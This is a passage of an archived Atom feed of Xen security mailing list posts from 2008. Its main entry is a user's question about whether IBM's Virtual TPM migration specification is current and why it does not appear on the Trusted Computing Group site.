&amp;gt; &lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=17752046&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;&lt;br&gt;
&amp;gt; http://lists.xensource.com/xense-devel&lt;br&gt;
&lt;/font&gt;&lt;/tt&gt;&lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=17752046&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Question-about-IBM-VTPM-Commands-tp17748560p17752046.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-17748560</id>
	<title>Question about IBM VTPM Commands</title>
	<published>2008-06-09T23:25:50Z</published>
	<updated>2008-06-09T23:25:50Z</updated>
	<author>
		<name>sakaia</name>
	</author>
	<content type="html">Hi,
&lt;br&gt;&lt;br&gt;I am just looking around the VTPM page.(see follows)
&lt;br&gt;And I found Virtual TPM migration specification exists.
&lt;br&gt;But, I cannot found this TPM specification on TCG(Trusted Computing Group) page.
&lt;br&gt;Is this specification is working or not?
&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://domino.research.ibm.com/comm/research_projects.nsf/pages/ssd_vtpm.index.html&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://domino.research.ibm.com/comm/research_projects.nsf/pages/ssd_vtpm.index.html&lt;/a&gt;&lt;br&gt;&lt;br&gt;I see around TPM page and Virtualization page.
&lt;br&gt;&lt;a href=&quot;https://www.trustedcomputinggroup.org/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;https://www.trustedcomputinggroup.org/&lt;/a&gt;&lt;br&gt;&lt;br&gt;Thanks
&lt;br&gt;Atsushi SAKAI
&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=17748560&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/Question-about-IBM-VTPM-Commands-tp17748560p17748560.html" />
</entry>

</feed>
